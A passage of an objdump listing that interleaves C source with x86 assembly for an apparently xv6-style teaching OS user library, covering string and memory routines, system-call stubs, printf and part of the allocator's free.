for(n = 0; s[n]; n++)
df6: 80 39 00 cmpb $0x0,(%ecx)
df9: 74 12 je e0d <strlen+0x1d>
dfb: 31 d2 xor %edx,%edx
dfd: 8d 76 00 lea 0x0(%esi),%esi
e00: 83 c2 01 add $0x1,%edx
e03: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
e07: 89 d0 mov %edx,%eax
e09: 75 f5 jne e00 <strlen+0x10>
;
return n;
}
e0b: 5d pop %ebp
e0c: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
e0d: 31 c0 xor %eax,%eax
;
return n;
}
e0f: 5d pop %ebp
e10: c3 ret
e11: eb 0d jmp e20 <memset>
e13: 90 nop
e14: 90 nop
e15: 90 nop
e16: 90 nop
e17: 90 nop
e18: 90 nop
e19: 90 nop
e1a: 90 nop
e1b: 90 nop
e1c: 90 nop
e1d: 90 nop
e1e: 90 nop
e1f: 90 nop
00000e20 <memset>:
void*
memset(void *dst, int c, uint n)
{
e20: 55 push %ebp
e21: 89 e5 mov %esp,%ebp
e23: 57 push %edi
e24: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
e27: 8b 4d 10 mov 0x10(%ebp),%ecx
e2a: 8b 45 0c mov 0xc(%ebp),%eax
e2d: 89 d7 mov %edx,%edi
e2f: fc cld
e30: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
e32: 89 d0 mov %edx,%eax
e34: 5f pop %edi
e35: 5d pop %ebp
e36: c3 ret
e37: 89 f6 mov %esi,%esi
e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000e40 <strchr>:
char*
strchr(const char *s, char c)
{
e40: 55 push %ebp
e41: 89 e5 mov %esp,%ebp
e43: 53 push %ebx
e44: 8b 45 08 mov 0x8(%ebp),%eax
e47: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
e4a: 0f b6 10 movzbl (%eax),%edx
e4d: 84 d2 test %dl,%dl
e4f: 74 1d je e6e <strchr+0x2e>
if(*s == c)
e51: 38 d3 cmp %dl,%bl
e53: 89 d9 mov %ebx,%ecx
e55: 75 0d jne e64 <strchr+0x24>
e57: eb 17 jmp e70 <strchr+0x30>
e59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
e60: 38 ca cmp %cl,%dl
e62: 74 0c je e70 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
e64: 83 c0 01 add $0x1,%eax
e67: 0f b6 10 movzbl (%eax),%edx
e6a: 84 d2 test %dl,%dl
e6c: 75 f2 jne e60 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
e6e: 31 c0 xor %eax,%eax
}
e70: 5b pop %ebx
e71: 5d pop %ebp
e72: c3 ret
e73: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000e80 <gets>:
char*
gets(char *buf, int max)
{
e80: 55 push %ebp
e81: 89 e5 mov %esp,%ebp
e83: 57 push %edi
e84: 56 push %esi
e85: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
e86: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
e88: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
e8b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
e8e: eb 29 jmp eb9 <gets+0x39>
cc = read(0, &c, 1);
e90: 83 ec 04 sub $0x4,%esp
e93: 6a 01 push $0x1
e95: 57 push %edi
e96: 6a 00 push $0x0
e98: e8 2d 01 00 00 call fca <read>
if(cc < 1)
e9d: 83 c4 10 add $0x10,%esp
ea0: 85 c0 test %eax,%eax
ea2: 7e 1d jle ec1 <gets+0x41>
break;
buf[i++] = c;
ea4: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
ea8: 8b 55 08 mov 0x8(%ebp),%edx
eab: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
ead: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
eaf: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
eb3: 74 1b je ed0 <gets+0x50>
eb5: 3c 0d cmp $0xd,%al
eb7: 74 17 je ed0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
eb9: 8d 5e 01 lea 0x1(%esi),%ebx
ebc: 3b 5d 0c cmp 0xc(%ebp),%ebx
ebf: 7c cf jl e90 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
ec1: 8b 45 08 mov 0x8(%ebp),%eax
ec4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
ec8: 8d 65 f4 lea -0xc(%ebp),%esp
ecb: 5b pop %ebx
ecc: 5e pop %esi
ecd: 5f pop %edi
ece: 5d pop %ebp
ecf: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
ed0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
ed3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
ed5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
ed9: 8d 65 f4 lea -0xc(%ebp),%esp
edc: 5b pop %ebx
edd: 5e pop %esi
ede: 5f pop %edi
edf: 5d pop %ebp
ee0: c3 ret
ee1: eb 0d jmp ef0 <stat>
ee3: 90 nop
ee4: 90 nop
ee5: 90 nop
ee6: 90 nop
ee7: 90 nop
ee8: 90 nop
ee9: 90 nop
eea: 90 nop
eeb: 90 nop
eec: 90 nop
eed: 90 nop
eee: 90 nop
eef: 90 nop
00000ef0 <stat>:
int
stat(const char *n, struct stat *st)
{
ef0: 55 push %ebp
ef1: 89 e5 mov %esp,%ebp
ef3: 56 push %esi
ef4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
ef5: 83 ec 08 sub $0x8,%esp
ef8: 6a 00 push $0x0
efa: ff 75 08 pushl 0x8(%ebp)
efd: e8 f0 00 00 00 call ff2 <open>
if(fd < 0)
f02: 83 c4 10 add $0x10,%esp
f05: 85 c0 test %eax,%eax
f07: 78 27 js f30 <stat+0x40>
return -1;
r = fstat(fd, st);
f09: 83 ec 08 sub $0x8,%esp
f0c: ff 75 0c pushl 0xc(%ebp)
f0f: 89 c3 mov %eax,%ebx
f11: 50 push %eax
f12: e8 f3 00 00 00 call 100a <fstat>
f17: 89 c6 mov %eax,%esi
close(fd);
f19: 89 1c 24 mov %ebx,(%esp)
f1c: e8 b9 00 00 00 call fda <close>
return r;
f21: 83 c4 10 add $0x10,%esp
f24: 89 f0 mov %esi,%eax
}
f26: 8d 65 f8 lea -0x8(%ebp),%esp
f29: 5b pop %ebx
f2a: 5e pop %esi
f2b: 5d pop %ebp
f2c: c3 ret
f2d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
f30: b8 ff ff ff ff mov $0xffffffff,%eax
f35: eb ef jmp f26 <stat+0x36>
f37: 89 f6 mov %esi,%esi
f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000f40 <atoi>:
return r;
}
int
atoi(const char *s)
{
f40: 55 push %ebp
f41: 89 e5 mov %esp,%ebp
f43: 53 push %ebx
f44: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
f47: 0f be 11 movsbl (%ecx),%edx
f4a: 8d 42 d0 lea -0x30(%edx),%eax
f4d: 3c 09 cmp $0x9,%al
f4f: b8 00 00 00 00 mov $0x0,%eax
f54: 77 1f ja f75 <atoi+0x35>
f56: 8d 76 00 lea 0x0(%esi),%esi
f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
f60: 8d 04 80 lea (%eax,%eax,4),%eax
f63: 83 c1 01 add $0x1,%ecx
f66: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
f6a: 0f be 11 movsbl (%ecx),%edx
f6d: 8d 5a d0 lea -0x30(%edx),%ebx
f70: 80 fb 09 cmp $0x9,%bl
f73: 76 eb jbe f60 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
f75: 5b pop %ebx
f76: 5d pop %ebp
f77: c3 ret
f78: 90 nop
f79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000f80 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
f80: 55 push %ebp
f81: 89 e5 mov %esp,%ebp
f83: 56 push %esi
f84: 53 push %ebx
f85: 8b 5d 10 mov 0x10(%ebp),%ebx
f88: 8b 45 08 mov 0x8(%ebp),%eax
f8b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
f8e: 85 db test %ebx,%ebx
f90: 7e 14 jle fa6 <memmove+0x26>
f92: 31 d2 xor %edx,%edx
f94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
f98: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
f9c: 88 0c 10 mov %cl,(%eax,%edx,1)
f9f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
fa2: 39 da cmp %ebx,%edx
fa4: 75 f2 jne f98 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
fa6: 5b pop %ebx
fa7: 5e pop %esi
fa8: 5d pop %ebp
fa9: c3 ret
00000faa <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
faa: b8 01 00 00 00 mov $0x1,%eax
faf: cd 40 int $0x40
fb1: c3 ret
00000fb2 <exit>:
SYSCALL(exit)
fb2: b8 02 00 00 00 mov $0x2,%eax
fb7: cd 40 int $0x40
fb9: c3 ret
00000fba <wait>:
SYSCALL(wait)
fba: b8 03 00 00 00 mov $0x3,%eax
fbf: cd 40 int $0x40
fc1: c3 ret
00000fc2 <pipe>:
SYSCALL(pipe)
fc2: b8 04 00 00 00 mov $0x4,%eax
fc7: cd 40 int $0x40
fc9: c3 ret
00000fca <read>:
SYSCALL(read)
fca: b8 05 00 00 00 mov $0x5,%eax
fcf: cd 40 int $0x40
fd1: c3 ret
00000fd2 <write>:
SYSCALL(write)
fd2: b8 10 00 00 00 mov $0x10,%eax
fd7: cd 40 int $0x40
fd9: c3 ret
00000fda <close>:
SYSCALL(close)
fda: b8 15 00 00 00 mov $0x15,%eax
fdf: cd 40 int $0x40
fe1: c3 ret
00000fe2 <kill>:
SYSCALL(kill)
fe2: b8 06 00 00 00 mov $0x6,%eax
fe7: cd 40 int $0x40
fe9: c3 ret
00000fea <exec>:
SYSCALL(exec)
fea: b8 07 00 00 00 mov $0x7,%eax
fef: cd 40 int $0x40
ff1: c3 ret
00000ff2 <open>:
SYSCALL(open)
ff2: b8 0f 00 00 00 mov $0xf,%eax
ff7: cd 40 int $0x40
ff9: c3 ret
00000ffa <mknod>:
SYSCALL(mknod)
ffa: b8 11 00 00 00 mov $0x11,%eax
fff: cd 40 int $0x40
1001: c3 ret
00001002 <unlink>:
SYSCALL(unlink)
1002: b8 12 00 00 00 mov $0x12,%eax
1007: cd 40 int $0x40
1009: c3 ret
0000100a <fstat>:
SYSCALL(fstat)
100a: b8 08 00 00 00 mov $0x8,%eax
100f: cd 40 int $0x40
1011: c3 ret
00001012 <link>:
SYSCALL(link)
1012: b8 13 00 00 00 mov $0x13,%eax
1017: cd 40 int $0x40
1019: c3 ret
0000101a <mkdir>:
SYSCALL(mkdir)
101a: b8 14 00 00 00 mov $0x14,%eax
101f: cd 40 int $0x40
1021: c3 ret
00001022 <chdir>:
SYSCALL(chdir)
1022: b8 09 00 00 00 mov $0x9,%eax
1027: cd 40 int $0x40
1029: c3 ret
0000102a <dup>:
SYSCALL(dup)
102a: b8 0a 00 00 00 mov $0xa,%eax
102f: cd 40 int $0x40
1031: c3 ret
00001032 <getpid>:
SYSCALL(getpid)
1032: b8 0b 00 00 00 mov $0xb,%eax
1037: cd 40 int $0x40
1039: c3 ret
0000103a <sbrk>:
SYSCALL(sbrk)
103a: b8 0c 00 00 00 mov $0xc,%eax
103f: cd 40 int $0x40
1041: c3 ret
00001042 <sleep>:
SYSCALL(sleep)
1042: b8 0d 00 00 00 mov $0xd,%eax
1047: cd 40 int $0x40
1049: c3 ret
0000104a <uptime>:
SYSCALL(uptime)
104a: b8 0e 00 00 00 mov $0xe,%eax
104f: cd 40 int $0x40
1051: c3 ret
00001052 <cps>:
SYSCALL(cps)
1052: b8 16 00 00 00 mov $0x16,%eax
1057: cd 40 int $0x40
1059: c3 ret
0000105a <userTag>:
SYSCALL(userTag)
105a: b8 17 00 00 00 mov $0x17,%eax
105f: cd 40 int $0x40
1061: c3 ret
00001062 <changeUser>:
SYSCALL(changeUser)
1062: b8 18 00 00 00 mov $0x18,%eax
1067: cd 40 int $0x40
1069: c3 ret
0000106a <getUser>:
SYSCALL(getUser)
106a: b8 19 00 00 00 mov $0x19,%eax
106f: cd 40 int $0x40
1071: c3 ret
00001072 <changeOwner>:
SYSCALL(changeOwner)
1072: b8 1a 00 00 00 mov $0x1a,%eax
1077: cd 40 int $0x40
1079: c3 ret
107a: 66 90 xchg %ax,%ax
107c: 66 90 xchg %ax,%ax
107e: 66 90 xchg %ax,%ax
00001080 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
1080: 55 push %ebp
1081: 89 e5 mov %esp,%ebp
1083: 57 push %edi
1084: 56 push %esi
1085: 53 push %ebx
1086: 89 c6 mov %eax,%esi
1088: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
108b: 8b 5d 08 mov 0x8(%ebp),%ebx
108e: 85 db test %ebx,%ebx
1090: 74 7e je 1110 <printint+0x90>
1092: 89 d0 mov %edx,%eax
1094: c1 e8 1f shr $0x1f,%eax
1097: 84 c0 test %al,%al
1099: 74 75 je 1110 <printint+0x90>
neg = 1;
x = -xx;
109b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
109d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
10a4: f7 d8 neg %eax
10a6: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
10a9: 31 ff xor %edi,%edi
10ab: 8d 5d d7 lea -0x29(%ebp),%ebx
10ae: 89 ce mov %ecx,%esi
10b0: eb 08 jmp 10ba <printint+0x3a>
10b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
10b8: 89 cf mov %ecx,%edi
10ba: 31 d2 xor %edx,%edx
10bc: 8d 4f 01 lea 0x1(%edi),%ecx
10bf: f7 f6 div %esi
10c1: 0f b6 92 d8 15 00 00 movzbl 0x15d8(%edx),%edx
}while((x /= base) != 0);
10c8: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
10ca: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
10cd: 75 e9 jne 10b8 <printint+0x38>
if(neg)
10cf: 8b 45 c4 mov -0x3c(%ebp),%eax
10d2: 8b 75 c0 mov -0x40(%ebp),%esi
10d5: 85 c0 test %eax,%eax
10d7: 74 08 je 10e1 <printint+0x61>
buf[i++] = '-';
10d9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
10de: 8d 4f 02 lea 0x2(%edi),%ecx
10e1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
10e5: 8d 76 00 lea 0x0(%esi),%esi
10e8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
10eb: 83 ec 04 sub $0x4,%esp
10ee: 83 ef 01 sub $0x1,%edi
10f1: 6a 01 push $0x1
10f3: 53 push %ebx
10f4: 56 push %esi
10f5: 88 45 d7 mov %al,-0x29(%ebp)
10f8: e8 d5 fe ff ff call fd2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
10fd: 83 c4 10 add $0x10,%esp
1100: 39 df cmp %ebx,%edi
1102: 75 e4 jne 10e8 <printint+0x68>
putc(fd, buf[i]);
}
1104: 8d 65 f4 lea -0xc(%ebp),%esp
1107: 5b pop %ebx
1108: 5e pop %esi
1109: 5f pop %edi
110a: 5d pop %ebp
110b: c3 ret
110c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
1110: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1112: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
1119: eb 8b jmp 10a6 <printint+0x26>
111b: 90 nop
111c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00001120 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
1120: 55 push %ebp
1121: 89 e5 mov %esp,%ebp
1123: 57 push %edi
1124: 56 push %esi
1125: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1126: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
1129: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
112c: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
112f: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1132: 89 45 d0 mov %eax,-0x30(%ebp)
1135: 0f b6 1e movzbl (%esi),%ebx
1138: 83 c6 01 add $0x1,%esi
113b: 84 db test %bl,%bl
113d: 0f 84 b0 00 00 00 je 11f3 <printf+0xd3>
1143: 31 d2 xor %edx,%edx
1145: eb 39 jmp 1180 <printf+0x60>
1147: 89 f6 mov %esi,%esi
1149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
1150: 83 f8 25 cmp $0x25,%eax
1153: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
1156: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
115b: 74 18 je 1175 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
115d: 8d 45 e2 lea -0x1e(%ebp),%eax
1160: 83 ec 04 sub $0x4,%esp
1163: 88 5d e2 mov %bl,-0x1e(%ebp)
1166: 6a 01 push $0x1
1168: 50 push %eax
1169: 57 push %edi
116a: e8 63 fe ff ff call fd2 <write>
116f: 8b 55 d4 mov -0x2c(%ebp),%edx
1172: 83 c4 10 add $0x10,%esp
1175: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1178: 0f b6 5e ff movzbl -0x1(%esi),%ebx
117c: 84 db test %bl,%bl
117e: 74 73 je 11f3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
1180: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
1182: 0f be cb movsbl %bl,%ecx
1185: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
1188: 74 c6 je 1150 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
118a: 83 fa 25 cmp $0x25,%edx
118d: 75 e6 jne 1175 <printf+0x55>
if(c == 'd'){
118f: 83 f8 64 cmp $0x64,%eax
1192: 0f 84 f8 00 00 00 je 1290 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
1198: 81 e1 f7 00 00 00 and $0xf7,%ecx
119e: 83 f9 70 cmp $0x70,%ecx
11a1: 74 5d je 1200 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
11a3: 83 f8 73 cmp $0x73,%eax
11a6: 0f 84 84 00 00 00 je 1230 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
11ac: 83 f8 63 cmp $0x63,%eax
11af: 0f 84 ea 00 00 00 je 129f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
11b5: 83 f8 25 cmp $0x25,%eax
11b8: 0f 84 c2 00 00 00 je 1280 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
11be: 8d 45 e7 lea -0x19(%ebp),%eax
11c1: 83 ec 04 sub $0x4,%esp
11c4: c6 45 e7 25 movb $0x25,-0x19(%ebp)
11c8: 6a 01 push $0x1
11ca: 50 push %eax
11cb: 57 push %edi
11cc: e8 01 fe ff ff call fd2 <write>
11d1: 83 c4 0c add $0xc,%esp
11d4: 8d 45 e6 lea -0x1a(%ebp),%eax
11d7: 88 5d e6 mov %bl,-0x1a(%ebp)
11da: 6a 01 push $0x1
11dc: 50 push %eax
11dd: 57 push %edi
11de: 83 c6 01 add $0x1,%esi
11e1: e8 ec fd ff ff call fd2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
11e6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
11ea: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
11ed: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
11ef: 84 db test %bl,%bl
11f1: 75 8d jne 1180 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
11f3: 8d 65 f4 lea -0xc(%ebp),%esp
11f6: 5b pop %ebx
11f7: 5e pop %esi
11f8: 5f pop %edi
11f9: 5d pop %ebp
11fa: c3 ret
11fb: 90 nop
11fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
1200: 83 ec 0c sub $0xc,%esp
1203: b9 10 00 00 00 mov $0x10,%ecx
1208: 6a 00 push $0x0
120a: 8b 5d d0 mov -0x30(%ebp),%ebx
120d: 89 f8 mov %edi,%eax
120f: 8b 13 mov (%ebx),%edx
1211: e8 6a fe ff ff call 1080 <printint>
ap++;
1216: 89 d8 mov %ebx,%eax
1218: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
121b: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
121d: 83 c0 04 add $0x4,%eax
1220: 89 45 d0 mov %eax,-0x30(%ebp)
1223: e9 4d ff ff ff jmp 1175 <printf+0x55>
1228: 90 nop
1229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
1230: 8b 45 d0 mov -0x30(%ebp),%eax
1233: 8b 18 mov (%eax),%ebx
ap++;
1235: 83 c0 04 add $0x4,%eax
1238: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
123b: b8 d0 15 00 00 mov $0x15d0,%eax
1240: 85 db test %ebx,%ebx
1242: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
1245: 0f b6 03 movzbl (%ebx),%eax
1248: 84 c0 test %al,%al
124a: 74 23 je 126f <printf+0x14f>
124c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1250: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
1253: 8d 45 e3 lea -0x1d(%ebp),%eax
1256: 83 ec 04 sub $0x4,%esp
1259: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
125b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
125e: 50 push %eax
125f: 57 push %edi
1260: e8 6d fd ff ff call fd2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1265: 0f b6 03 movzbl (%ebx),%eax
1268: 83 c4 10 add $0x10,%esp
126b: 84 c0 test %al,%al
126d: 75 e1 jne 1250 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
126f: 31 d2 xor %edx,%edx
1271: e9 ff fe ff ff jmp 1175 <printf+0x55>
1276: 8d 76 00 lea 0x0(%esi),%esi
1279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
1280: 83 ec 04 sub $0x4,%esp
1283: 88 5d e5 mov %bl,-0x1b(%ebp)
1286: 8d 45 e5 lea -0x1b(%ebp),%eax
1289: 6a 01 push $0x1
128b: e9 4c ff ff ff jmp 11dc <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
1290: 83 ec 0c sub $0xc,%esp
1293: b9 0a 00 00 00 mov $0xa,%ecx
1298: 6a 01 push $0x1
129a: e9 6b ff ff ff jmp 120a <printf+0xea>
129f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
12a2: 83 ec 04 sub $0x4,%esp
12a5: 8b 03 mov (%ebx),%eax
12a7: 6a 01 push $0x1
12a9: 88 45 e4 mov %al,-0x1c(%ebp)
12ac: 8d 45 e4 lea -0x1c(%ebp),%eax
12af: 50 push %eax
12b0: 57 push %edi
12b1: e8 1c fd ff ff call fd2 <write>
12b6: e9 5b ff ff ff jmp 1216 <printf+0xf6>
12bb: 66 90 xchg %ax,%ax
12bd: 66 90 xchg %ax,%ax
12bf: 90 nop
000012c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
12c0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12c1: a1 48 1c 00 00 mov 0x1c48,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
12c6: 89 e5 mov %esp,%ebp
12c8: 57 push %edi
12c9: 56 push %esi
12ca: 53 push %ebx
12cb: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
12ce: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
12d0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12d3: 39 c8 cmp %ecx,%eax
12d5: 73 19 jae 12f0 <free+0x30>
12d7: 89 f6 mov %esi,%esi
12d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
12e0: 39 d1 cmp %edx,%ecx
12e2: 72 1c jb 1300 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
12e4: 39 d0 cmp %edx,%eax
12e6: 73 18 jae 1300 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
12e8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12ea: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
12ec: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12ee: 72 f0 jb 12e0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
12f0: 39 d0 cmp %edx,%eax
12f2: 72 f4 jb 12e8 <free+0x28>
12f4: 39 d1 cmp %edx,%ecx
12f6: 73 f0 jae 12e8 <free+0x28>
12f8: 90 nop
12f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
